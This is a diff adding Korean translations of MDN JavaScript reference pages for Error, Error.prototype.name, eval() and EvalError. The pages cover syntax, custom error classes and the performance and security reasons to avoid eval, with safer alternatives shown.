+ <dd>숫자 변수나 매개변수가 유효한 범위를 벗어났음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>잘못된 참조를 했음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>{{jsxref("eval", "eval()")}}이 코드를 분석하는 중 잘못된 구문을 만났음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>변수나 매개변수가 유효한 자료형이 아님을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>{{jsxref("encodeURI", "encodeURI()")}}나 {{jsxref("decodeURI", "decodeURl()")}} 함수에 부적절한 매개변수를 제공했을 때 발생하는 오류의 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd><code>Error</code> 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p>전역 <code>Error</code> 객체는 자신의 메서드를 가지지 않습니다. 그러나 프로토타입 체인을 통해 일부 메서드를 상속받습니다.</p>
+
+<h2 id="Error_instances" name="Error_instances"><code>Error</code> 인스턴스</h2>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '설명')}}</div>
+
+<h3 id="속성">속성</h3>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '속성')}}</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '메서드')}}</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example:_Throwing_a_generic_error" name="Example:_Throwing_a_generic_error">일반적인 오류 던지기</h3>
+
+<p><code>Error</code> 객체를 생성한 후엔 대개 {{jsxref("Statements/throw", "throw")}} 키워드를 이용해 던집니다. {{jsxref("Statements/try...catch", "try...catch")}} 구문을 이용하여 오류를 처리할 수 있습니다.</p>
+
+<pre class="brush: js">try {
+  throw new Error("이런!");
+} catch (e) {
+  alert(e.name + ": " + e.message);
+}
+</pre>
+
+<h3 id="Example:_Handling_a_specific_error" name="Example:_Handling_a_specific_error">특정 오류 처리하기</h3>
+
+<p><span class="comment">this should probably be removed</span>오류의 {{jsxref("Object.prototype.constructor", "constructor")}} 속성을 판별해 특정 오류에 대해서만 처리를 할 수 있습니다. 현대적인 JavaScript 엔진의 코드를 작성한다면 {{jsxref("Operators/instanceof", "instanceof")}} 키워드를 이용할 수도 있습니다.</p>
+
+<pre class="brush: js">try {
+  foo.bar();
+} catch (e) {
+  if (e instanceof EvalError) {
+    alert(e.name + ": " + e.message);
+  } else if (e instanceof RangeError) {
+    alert(e.name + ": " + e.message);
+  }
+  // ... etc
+}
+</pre>
+
+<h3 id="사용자_정의_에러_타입">사용자 정의 에러 타입</h3>
+
+<p><code>throw new MyError()</code> 이후 <code>instanceof MyError</code>로 직접 만든 오류를 판별할 수 있도록 <code>Error</code>의 파생 오류 정의를 고려해보세요. 더 깔끔하고 일관적인 오류 처리 코드를 작성할 수 있습니다. StackOverflow의 <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"What's a good way to extend Error in JavaScript?"</a>를 방문해 심도 있는 논의를 읽어보세요.</p>
+
+<h4 id="ES6_사용자_정의_오류_클래스">ES6 사용자 정의 오류 클래스</h4>
+
+<div class="warning">
+<p>Babel 버전 7 미만으로 사용자 정의 오류 클래스를 처리하려면 {{jsxref("Object.defineProperty()")}} 메서드를 사용해 정의해야만 합니다. 그렇지 않으면 오래된 Babel 및 다른 트랜스파일러가 <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">추가 설정</a> 없이 코드를 처리할 수 없습니다.</p>
+</div>
+
+<div class="note">
+<p>ES2015 클래스를 사용할 때, 일부 브라우저는 <code>CustomError</code> 생성자를 스택 트레이스에 포함합니다.</p>
+</div>
+
+<pre class="brush: js">class CustomError extends Error {
+  constructor(foo = 'bar', ...params) {
+    // Pass remaining arguments (including vendor specific ones) to parent constructor
+    super(...params);
+
+    // Maintains proper stack trace for where our error was thrown (only available on V8)
+    if (Error.captureStackTrace) {
+      Error.captureStackTrace(this, CustomError);
+    }
+
+    // Custom debugging information
+    this.foo = foo;
+    this.date = new Date();
+  }
+}
+
+try {
+  throw new CustomError('baz', 'bazMessage');
+} catch(e){
+  console.log(e.foo); //baz
+  console.log(e.message); //bazMessage
+  console.log(e.stack); //stacktrace
+}</pre>
+
+<h4 id="ES5_사용자_정의_오류_객체">ES5 사용자 정의 오류 객체</h4>
+
+<div class="warning">
+<p>프로토타입 선언을 사용하면 모든 브라우저가 <code>CustomError</code> 생성자를 스택 트레이스에 포함합니다.</p>
+</div>
+
+<pre class="brush: js">function CustomError(foo, message, fileName, lineNumber) {
+  var instance = new Error(message, fileName, lineNumber);
+  instance.foo = foo;
+  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+  if (Error.captureStackTrace) {
+    Error.captureStackTrace(instance, CustomError);
+  }
+  return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+  constructor: {
+    value: Error,
+    enumerable: false,
+    writable: true,
+    configurable: true
+  }
+});
+
+if (Object.setPrototypeOf){
+  Object.setPrototypeOf(CustomError, Error);
+} else {
+  CustomError.__proto__ = Error;
+}
+
+
+try {
+  throw new CustomError('baz', 'bazMessage');
+} catch(e){
+  console.log(e.foo); //baz
+  console.log(e.message) ;//bazMessage
+}
+</pre>
+
+<h2 id="See_also" name="See_also">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/error/name/index.html b/files/ko/web/javascript/reference/global_objects/error/name/index.html
new file mode 100644
index 0000000000..bca8a4937f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/error/name/index.html
@@ -0,0 +1,72 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Reference/Global_Objects/Error/name
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef}}</div>
+
+<div><strong><code>name</code> </strong>프로퍼티는 에러 타입을 설명하기 위한 이름을 나타냅니다. 초기값은 "Error"입니다.</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Error")}} 인스턴스는 주어진 이름인 "Error"를 기본 값으로 갖습니다. name 프로퍼티는 {{jsxref("Error.prototype.message", "message")}}와 함께 {{jsxref("Error.prototype.toString()")}}에서 사용되며 해당 에러를 문자열로 표현합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="사용자_정의_에러_발생시키기">사용자 정의 에러 발생시키기</h3>
+
+<pre class="brush: js">var e = new Error('Malformed input'); // e.name은 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString()은 'ParseError: Malformed input'을 반환합니다
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 해당 데이터를 개선하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 체크아웃하고 저희에게 풀 리퀘스트를 보내주십시오.</div>
+
+<p>{{Compat("javascript.builtins.Error.name")}}</p>
+</div>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/eval/index.html b/files/ko/web/javascript/reference/global_objects/eval/index.html
new file mode 100644
index 0000000000..000c8b2228
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/eval/index.html
@@ -0,0 +1,285 @@
+---
+title: eval()
+slug: Web/JavaScript/Reference/Global_Objects/eval
+tags:
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>주의:</strong> 문자열로부터 <code><strong>eval()</strong></code>을 실행하는 것은 엄청나게 위험합니다. <code><strong>eval()</strong></code>을 사용하면 해커가 위험한 코드를 사용할 수 있습니다. 아래에 <a href="#eval을 절대 사용하지 말 것!">eval을 절대 사용하지 말 것!</a>을 확인하세요.</p>
+</div>
+
+<p><code><strong>eval()</strong></code>은 문자로 표현된 JavaScript 코드를 실행하는 함수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code>eval(<em>string</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>자바스크립트 표현식, 명령문, 또는 연속되는 다수의 명령문을 나타내는 문자열. 표현식은 이미 존재하는 객체의 변수나 속성을 포함할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 코드를 평가하여 얻은 값. 값이 없다면 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>eval()</code>은 전역 객체의 함수 속성입니다.</p>
+
+<p><code>eval()</code>의 인자는 문자열입니다. 인자가 표현식을 나타낸다면 <code>eval()</code>은 표현식을 평가합니다. 인자가 하나 이상의 JavaScript 명령문을 나타낸다면 모두 실행합니다. 연산식을 계산하기 위해 <code>eval()</code>을 호출하지 마세요. 자바스크립트는 연산식을 알아서 계산합니다.</p>
+
+<p>문자열로 연산식을 구성하면 나중에 <code>eval()</code>로 계산할 수 있습니다. <code>x</code> 라는 변수가 있다고 가정하면 <code>x</code>가 포함된 연산식을 문자열로, 예를 들어 "<code>3 * x + 2</code>"로 나타내고 나중에 <code>eval()</code>을 호출해서 계산을 연기할 수 있습니다.</p>
+
+<p><code>eval()</code>의 인자가 문자열이 아니면 <code>eval()</code>은 인자를 그대로 반환합니다. 다음 예시에서, <code>String</code> 생성자가 명시된 경우 문자열을 계산하는 대신 <code>String</code> 객체를 반환합니다.</p>
+
+<pre class="brush:js notranslate">eval(new String("2 + 2")); // "2 + 2"를 포함한 String 객체를 반환
+eval("2 + 2");             // 4를 반환
+</pre>
+
+<p><code>toString()</code>을 사용하는 일반적인 방식으로 제약을 피할 수 있습니다.</p>
+
+<pre class="brush:js notranslate">var expression = new String("2 + 2");
+eval(expression.toString());            // 4를 반환
+</pre>
+
+<p><code>eval</code>을 직접 호출하지 않고 참조를 통해 <em>간접적으로</em> 사용한다면 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2">ECMAScript 5부터는</a> 지역 범위가 아니라 전역 범위에서 동작합니다. 예를 들어 <code>eval()</code>로 함수를 선언하면 전역 함수가 되고, 실행되는 코드는 실행되는 위치의 지역 범위에 접근할 수 없습니다.</p>
+
+<pre class="notranslate"><code>function test() {
+  var x = 2, y = 4;
+  console.log(eval('x + y'));  // 직접 호출, 지역 범위 사용, 결과값은 6
+  var geval = eval; // eval을 전역 범위로 호출하는 것과 같음
+  console.log(geval('x + y')); // 간접 호출, 전역 범위 사용, `x`가 정의되지 않았으므로 ReferenceError 발생
+  (0, eval)('x + y'); // 다른 방식으로 간접 호출
+}</code></pre>
+
+<h2 id="eval을_절대_사용하지_말_것!"><a name="dont-use-it"><code>eval</code>을 절대 사용하지 말 것!</a></h2>
+
+<p><code>eval()</code>은 인자로 받은 코드를 caller의 권한으로 수행하는 위험한 함수입니다. 악의적인 영향을 받았을 수 있는 문자열을 <code>eval()</code>로 실행한다면, 당신의 웹페이지나 확장 프로그램의 권한으로 사용자의 기기에서 악의적인 코드를 수행하는 결과를 초래할 수 있습니다. 또한, 제3자 코드가 <code>eval()</code>이 호출된 위치의 스코프를 볼 수 있으며, 이를 이용해 비슷한 함수인 {{jsxref("Global_Objects/Function", "Function")}}으로는 실현할 수 없는 공격이 가능합니다.</p>
+
+<p>또한 최신 JS 엔진에서 여러 코드 구조를 최적화하는 것과 달리 <code>eval()</code>은 JS 인터프리터를 사용해야 하기 때문에 다른 대안들보다 느립니다.</p>
+
+<p>추가로, 최신 JavaScript 인터프리터는 자바스크립트를 기계 코드로 변환합니다. 즉, 변수명의 개념이 완전히 없어집니다. 그러나 <code>eval</code>을 사용하면 브라우저는 기계 코드에 해당 변수가 있는지 확인하고 값을 대입하기 위해 길고 무거운 변수명 검색을 수행해야 합니다. 또한 <code>eval()</code>을 통해 자료형 변경 등 변수에 변화가 일어날 수 있으며, 브라우저는 이에 대응하기 위해 기계 코드를 재작성해야 합니다. 그러나, (다행히) <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">window.Function</a>이라는 <code> eval</code>보다 훨씬 나은 대안이 있습니다. <code>eval()</code>을 사용하는 코드를 <code>Function()</code>으로 바꾸는 방법에 대해서는 아래를 참조하세요.</p>
+
+<p><code>eval</code>을 사용하는 나쁜 코드:</p>
+
+<pre class="brush:js notranslate">function looseJsonParse(obj){
+    return eval(obj);
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p><code>eval</code>이 없는 코드:</p>
+
+<pre class="brush:js notranslate">function looseJsonParse(obj){
+    return Function('"use strict";return (' + obj + ')')();
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>위의 두 코드는 얼핏 보면 같은 방식으로 실행되는 것처럼 보이지만, <code>eval</code>이 있는 코드가 훨씬 느립니다. 평가되는 객체의 <code>c: new Date()</code>를 주목하세요. <code>eval</code>이 없는 함수의 경우 이 객체는 전역 범위에서 평가되기 때문에 브라우저에서는 <code>Date</code>를 같은 이름의 지역 변수가 아니라 <code>window.Date</code>로 취급할 수 있습니다. 그러나 <code>eval()</code>을 사용하는 코드에서는 아래와 같은 경우도 존재할 수 있기 때문에 <code>Date</code>를 이렇게 취급할 수 없습니다.</p>
+
+<pre class="brush:js notranslate">function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function looseJsonParse(obj){
+    return eval(obj);
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>그러므로 <code>eval()</code>이 있는 코드의 경우 브라우저는 <code>Date()</code>라는 지역 변수의 존재를 확인하기 위해 무거운 변수명 탐색을 수행해야 하며, 이는 <code>Function()</code>과 비교하면 매우 느립니다.</p>
+
+<p>만약 위의 상황에서 실제로 새로 선언한 <code>Date</code> 함수를 <code>Function()</code>에서 실행해야 하는 상황을 생각해 봅시다. 이렇게 되면 <code>eval()</code>로 돌아가야 할까요? 물론 아닙니다. 아래의 접근을 시도해 보세요.</p>
+
+<pre class="brush:js notranslate">function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function runCodeWithDateFunction(obj){
+    return Function('"use strict";return (' + obj + ')')()(
+        Date
+    );
+}
+console.log(runCodeWithDateFunction(
+   "function(Date){ return Date(5) }"
+))
+</pre>
+
+<p>위 코드는 삼중 중첩 함수를 사용하기 때문에 매우 비효율적으로 보일 수 있지만, 이 방법의 이점을 우선 살펴봅시다.</p>
+
+<p>1. <code>runCodeWithDateFunction</code>에 문자열로 전달된 코드를 최소화<sup>minify</sup>할 수 있다.</p>
+
+<p>2. Function call overhead is minimal, making the far smaller code size well worth the benefit</p>
+
+<p>3. <code>Function()</code>은 <code>"use strict";</code>를 사용함으로써 코드의 성능을 최적화할 수 있다.</p>
+
+<p>4. <code>eval()</code>을 사용하지 않으므로 실행 속도가 훨씬 빠르다.</p>
+
+<p>마지막으로 코드 최소화의 측면에서 살펴보면, 위와 같이 <code>Function()</code>을 사용했을 때는 아래의 최소화된 코드와 같이 함수의 인자 이름 역시 짧게 줄일 수 있으므로 runCodeWithDateFunction에 전달하는 코드 문자열을 더욱 효율적으로 줄일 수 있습니다.</p>
+
+<pre class="brush:js notranslate">console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){
+return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));</pre>
+
+<p>자주 쓰이는 용례에 대해서는 <code>eval()</code>이나 <code>Function()</code>보다 안전하고 빠른 대안도 존재합니다.</p>
+
+<h3 id="객체의_속성에_접근하기">객체의 속성에 접근하기</h3>
+
+<p>속성명으로 속성을 찾는 데 <code>eval()</code>을 사용해서는 안 됩니다. 다음 예제와 같이 코드를 실행하기 전까지는 접근할 속성을 알 수 없는 상황을 생각해 봅시다. 이 상황은 <code>eval</code>로 처리할 수 있습니다.</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName();  // "a" 또는 "b"를 반환
+
+eval( "var result = obj." + propname );
+</pre>
+
+<p>그러나 여기에서 <code>eval()</code>을 쓸 필요가 없고, 지양되어야 합니다. 그 대신 훨씬 빠르고 안전한 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">속성 접근자</a>를 사용하여야 합니다.</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName();  // "a" 또는 "b"를 반환
+var result = obj[ propname ];  //  obj[ "a" ]는 obj.a와 동일함
+</pre>
+
+<p>이 방법으로 더 깊은 속성에도 접근할 수 있습니다. <code>eval()</code>을 사용한다면 다음과 같을 것입니다.</p>
+
+<pre class="notranslate"><code>var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath();  // "a.b.c"를 반환한다고 가정
+
+eval( 'var result = obj.' + propPath );</code></pre>
+
+<p>여기서 <code>eval()</code>의 사용을 피하려면 속성 경로를 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String/split">split</a></code>한 다음 순서대로 접근할 수도 있습니다.</p>
+
+<pre class="notranslate"><code>function getDescendantProp(obj, desc) {
+  var arr = desc.split('.');
+  while (arr.length) {
+    obj = obj[arr.shift()];
+  }
+  return obj;
+}
+
+var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath();  // "a.b.c"를 반환한다고 가정
+var result = getDescendantProp(obj, propPath);</code></pre>
+
+<p>속성에 값을 대입하는 것도 비슷하게 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>function setDescendantProp(obj, desc, value) {
+  var arr = desc.split('.');
+  while (arr.length &gt; 1) {
+    obj = obj[arr.shift()];
+  }
+  return obj[arr[0]] = value;
+}
+
+var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath();  // "a.b.c"를 반환한다고 가정
+var result = setDescendantProp(obj, propPath, 1);  // test.a.b.c의 값은 1로 지정됨</code>
+</pre>
+
+<h3 id="단편적인_코드_수행_대신_함수_사용하기">단편적인 코드 수행 대신 함수 사용하기</h3>
+
+<p>JavaScript의 <a href="http://en.wikipedia.org/wiki/First-class_function">함수는 1급 객체</a>이므로 다른 API에 함수를 인자로 전달할 수도 있고, 변수나 객체의 속성으로 대입할 수도 있습니다. 다수의 DOM API는 이 점을 염두에 두고 설계되므로, 다음과 같이 코드를 짜야 합니다.</p>
+
+<pre class="brush: js notranslate">// setTimeout(" ... ", 1000) 대신에
+setTimeout(function() { ... }, 1000);
+
+// elt.setAttribute("onclick", "...") 대신에
+elt.addEventListener("click", function() { ... } , false); </pre>
+
+<p>또한 <a href="/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">클로저</a>를 이용해 문자열을 합치는 등의 연산 없이 매개변수화된 함수를 생성할 수 있습니다.</p>
+
+<h3 id="JSON_파싱_문자열을_JavaScript_객체로_변환">JSON 파싱 (문자열을 JavaScript 객체로 변환)</h3>
+
+<p><code>eval()</code>을 호출하려는 문자열에 코드가 아니라 데이터가 포함되어 있다면(예를 들어 <code>"[1, 2, 3]"</code>과 같은 배열), 대신 JavaScript의 문법 일부를 이용해 문자열로 데이터를 표현할 수 있는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON" title="JSON">JSON</a>을 사용하는 것을 고려해 보세요. <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a>도 참고해 보세요.</p>
+
+<p>JSON 문법은 JavaScript 문법에 비해 제약이 있기 때문에, 유효한 JavaScript 리터럴이 JSON으로 변환되지 않는 경우도 있습니다. 예를 들어, JSON에서는 배열이나 객체를 콤마로 끝낼 수 없고, 객체 리터럴에서 속성명(키)은 반드시  따옴표로 감싸야 합니다. 나중에 JSON으로 파싱할 문자열을 생성할 때는 JSON 직렬 변환기<sup>JSON serializer</sup>를 사용하여야 합니다.</p>
+
+<h3 id="코드_대신_데이터_전달하기">코드 대신 데이터 전달하기</h3>
+
+<p>예를 들어, 웹 페이지의 내용을 추출하는 확장 프로그램은 JavaScript 코드 대신 <a href="/ko/docs/XPath" title="XPath">XPath</a>에 스크랩 규칙을 정의할 수 있습니다.</p>
+
+<h3 id="제한된_권한으로_코드_실행하기">제한된 권한으로 코드 실행하기</h3>
+
+<p>제3자 코드를 실행해야 할 때는 제한된 권한으로 실행하는 것을 고려해야 합니다. 이는 주로 확장 프로그램이나 XUL 어플리케이션에 적용되며, 이때 <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a>를 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="eval_사용하기"><code>eval</code> 사용하기</h3>
+
+<p>아래 코드에서 <code>eval()</code>를 포함하는 문장은 모두 42를 반환합니다. 전자는 문자열 "<code>x + y + 1</code>"을, 후자는 문자열 "<code>42</code>"를 평가합니다.</p>
+
+<pre class="brush:js notranslate">var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // 42를 반환
+eval(z);           // 42를 반환
+</pre>
+
+<h3 id="eval을_사용해서_JavaScript_코드_문자열_평가하기"><code>eval</code>을 사용해서 JavaScript 코드 문자열 평가하기</h3>
+
+<p>다음 예제에서는 <code>eval()</code>을 사용하여 <code>str</code> 문자열을 평가합니다. 이 문자열은 <code>x</code>가 5이면 로그를 출력한 다음 <code>z</code>에 42를 할당하고, 그렇지 않으면 <code>z</code>에 0 을 할당하는 JavaScript 코드입니다. 두 번째 문장이 실행되면, <code>eval()</code>은 이 문장의 집합을 수행하고, <code>z</code>에 할당된 값을 반환합니다.</p>
+
+<pre class="brush:js notranslate">var x = 5;
+var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
+
+console.log("z is ", eval(str));</pre>
+
+<p>여러 값을 정의할 경우 마지막 값을 반환합니다.</p>
+
+<pre class="notranslate"><code>var x = 5;
+var str = "if (x == 5) {console.log('z is 42'); z = 42; x = 420; } else z = 0;";
+
+console.log('x is ', eval(str)); // z는 42, x는 420</code></pre>
+
+<h3 id="마지막_표현식이_수행된다">마지막 표현식이 수행된다</h3>
+
+<p><code>eval()</code> 은 마지막 표현식의 평가값을 반환합니다.</p>
+
+<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str);  // 2를 반환
+
+console.log("b is : " + b);
+
+a = false;
+b = eval(str);  // 3을 반환
+
+console.log("b is : " + b);</pre>
+
+<h3 id="함수_정의_문자열로서의_eval_은_앞뒤를_와_로_감싸야_한다">함수 정의 문자열로서의 <code>eval</code> 은 앞뒤를 "("와 ")"로 감싸야 한다</h3>
+
+<pre class="brush:js notranslate">var fctStr1 = "function a() {}"
+var fctStr2 = "(function a() {})"
+var fct1 = eval(fctStr1)  // undefined를 반환
+var fct2 = eval(fctStr2)  // 함수를 반환
+</pre>
+
+<h2 id="sect1"></h2>
+
+<h2 id="브라우저_호환성"><span style="">브라우저 호환성</span></h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.eval")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts">WebExtensions: Using eval in content scripts</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/evalerror/index.html b/files/ko/web/javascript/reference/global_objects/evalerror/index.html
new file mode 100644
index 0000000000..4c8fcf38dd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/evalerror/index.html
@@ -0,0 +1,112 @@
+---
+title: EvalError
+slug: Web/JavaScript/Reference/Global_Objects/EvalError
+tags:
+  - Error
+  - EvalError
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>EvalError</code></strong> 객체는 전역 {{jsxref("Global_Objects/eval", "eval()")}} 함수에 관한 오류를 나타냅니다. 이 예외는 JavaScript에 의해 더 이상 발생하지 않지만 <code>EvalError</code> 객체는 하위 호환성을 위해 남아있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new EvalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>인간이 읽을 수 있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드를 포함하는 파일의 이름.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>예외를 발생시킨 코드의 행 번호.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("EvalError.prototype")}}</dt>
+ <dd>EvalError 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 EvalError에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속받습니다.</p>
+
+<h2 id="EvalError_인스턴스"><code>EvalError</code> 인스턴스</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods">Methods</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>EvalError</code>는 현재 ECMAScript 사양에서 사용되지 않으므로 런타임에 의해 throw되지 않습니다. 그러나 개체 자체는 이전 버전의 사양과의 하위 호환성을 유지합니다.</p>
+
+<h3 id="Creating_an_EvalError">Creating an <code>EvalError</code></h3>
+
+<pre class="brush: js">try {
+  throw new EvalError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Hello"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
